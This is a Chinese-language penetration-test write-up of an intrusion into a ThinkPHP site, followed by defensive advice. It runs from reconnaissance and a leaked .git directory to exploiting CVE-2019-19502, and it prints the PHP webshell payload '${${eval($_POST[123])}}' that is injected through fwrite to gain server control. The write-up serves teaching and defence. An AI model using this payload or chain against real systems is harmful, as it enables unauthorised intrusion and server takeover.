一次打点测试
字数 1331 2025-08-06 08:35:25

ThinkPHP框架渗透测试实战教学文档

1. 信息搜集阶段

1.1 目录扫描

使用dirsearch工具扫描网站目录,发现以下关键信息:

  • /.login - 登录入口
  • /phpmyadmin - 数据库管理界面
  • /robots.txt - 可能泄露敏感路径
  • /.git - Git源码泄露漏洞

1.2 端口扫描

使用nmap进行端口探测发现:

  • 22端口(SSH)开放
  • 21端口(FTP)开放
  • 80/443端口(HTTP/HTTPS)开放

1.3 登录点发现

发现两个登录入口:

  1. 主站登录点(/.login)
    • 无验证码保护
    • 可尝试爆破
  2. 子域登录点
    • 有账号密码格式要求
    • 安全性相对较高

2. 漏洞探测阶段

2.1 Git源码泄露利用

  1. 使用工具下载泄露的Git源码
  2. 分析源码发现:
    • 基于ThinkPHP框架开发
    • 包含数据库配置文件(config.php和database.php)
    • 但未直接暴露数据库凭据

2.2 文件上传漏洞测试

发现ckeditor编辑器及其配套的kcfinder组件:

  • 路径:/assert/ckeditor/kcfinder
  • 可上传.htaccess文件但无法解析
  • 外层存在.htaccess文件覆盖了上传的配置

2.3 注入点测试

发现4个参数提交点,其中1个产生ThinkPHP框架错误:

  • 暴露了网站绝对路径
  • 典型的ThinkPHP错误信息

3. 代码审计阶段

3.1 配置文件分析

  • application/config/config.php
  • application/config/database.php
  • 未直接获取到数据库凭据

3.2 插件配置漏洞(CVE-2019-19502)

在pluginconfig.php中发现:

  1. 硬编码的账号密码
  2. 存在fwrite函数写入漏洞
    • $newpath参数可控但被引号包裹
    • 可通过花括号绕过:${${eval($_POST[123])}}

3.3 上传点分析

发现imageuploader组件:

  • 存在上传功能
  • 但采用白名单限制
  • 无法直接上传webshell

4. 漏洞利用过程

4.1 利用pluginconfig.php漏洞

  1. 构造payload写入恶意代码:
    ${${eval($_POST[123])}}
    
  2. 通过fwrite函数写入到pluginconfig.php
  3. 验证写入成功

4.2 获取Webshell

  1. 使用蚁剑连接
  2. 成功获取服务器权限
  3. 实现系统控制

5. 防御建议

5.1 针对Git泄露

  • 生产环境删除.git目录
  • 配置服务器禁止访问.git目录

5.2 针对ThinkPHP框架

  • 及时更新到最新版本
  • 关闭调试模式
  • 自定义错误信息

5.3 针对文件上传

  • 严格限制上传文件类型
  • 使用随机文件名
  • 存储上传文件到非web目录

5.4 针对配置漏洞

  • 避免硬编码凭据
  • 限制配置文件写入权限
  • 对用户输入进行严格过滤

6. 总结

本次渗透测试通过以下路径完成:

  1. 信息收集发现Git泄露
  2. 代码审计发现pluginconfig.php漏洞
  3. 利用fwrite函数写入webshell
  4. 成功获取系统权限

关键点:

  • Git源码泄露是突破口
  • 代码审计发现CVE-2019-19502漏洞
  • 花括号绕过技术是关键利用点
  • ThinkPHP框架错误信息泄露路径
ThinkPHP框架渗透测试实战教学文档 1. 信息搜集阶段 1.1 目录扫描 使用dirsearch工具扫描网站目录,发现以下关键信息: /.login - 登录入口 /phpmyadmin - 数据库管理界面 /robots.txt - 可能泄露敏感路径 /.git - Git源码泄露漏洞 1.2 端口扫描 使用nmap进行端口探测发现: 22端口(SSH)开放 21端口(FTP)开放 80/443端口(HTTP/HTTPS)开放 1.3 登录点发现 发现两个登录入口: 主站登录点(/.login) 无验证码保护 可尝试爆破 子域登录点 有账号密码格式要求 安全性相对较高 2. 漏洞探测阶段 2.1 Git源码泄露利用 使用工具下载泄露的Git源码 分析源码发现: 基于ThinkPHP框架开发 包含数据库配置文件(config.php和database.php) 但未直接暴露数据库凭据 2.2 文件上传漏洞测试 发现ckeditor编辑器及其配套的kcfinder组件: 路径:/assert/ckeditor/kcfinder 可上传.htaccess文件但无法解析 外层存在.htaccess文件覆盖了上传的配置 2.3 注入点测试 发现4个参数提交点,其中1个产生ThinkPHP框架错误: 暴露了网站绝对路径 典型的ThinkPHP错误信息 3. 代码审计阶段 3.1 配置文件分析 application/config/config.php application/config/database.php 未直接获取到数据库凭据 3.2 插件配置漏洞(CVE-2019-19502) 在pluginconfig.php中发现: 硬编码的账号密码 存在fwrite函数写入漏洞 $newpath参数可控但被引号包裹 可通过花括号绕过: ${${eval($_POST[123])}} 3.3 上传点分析 发现imageuploader组件: 存在上传功能 但采用白名单限制 无法直接上传webshell 4. 漏洞利用过程 4.1 利用pluginconfig.php漏洞 构造payload写入恶意代码: 通过fwrite函数写入到pluginconfig.php 验证写入成功 4.2 获取Webshell 使用蚁剑连接 成功获取服务器权限 实现系统控制 5. 防御建议 5.1 针对Git泄露 生产环境删除.git目录 配置服务器禁止访问.git目录 5.2 针对ThinkPHP框架 及时更新到最新版本 关闭调试模式 自定义错误信息 5.3 针对文件上传 严格限制上传文件类型 使用随机文件名 存储上传文件到非web目录 5.4 针对配置漏洞 避免硬编码凭据 限制配置文件写入权限 对用户输入进行严格过滤 6. 总结 本次渗透测试通过以下路径完成: 信息收集发现Git泄露 代码审计发现pluginconfig.php漏洞 利用fwrite函数写入webshell 成功获取系统权限 关键点: Git源码泄露是突破口 代码审计发现CVE-2019-19502漏洞 花括号绕过技术是关键利用点 ThinkPHP框架错误信息泄露路径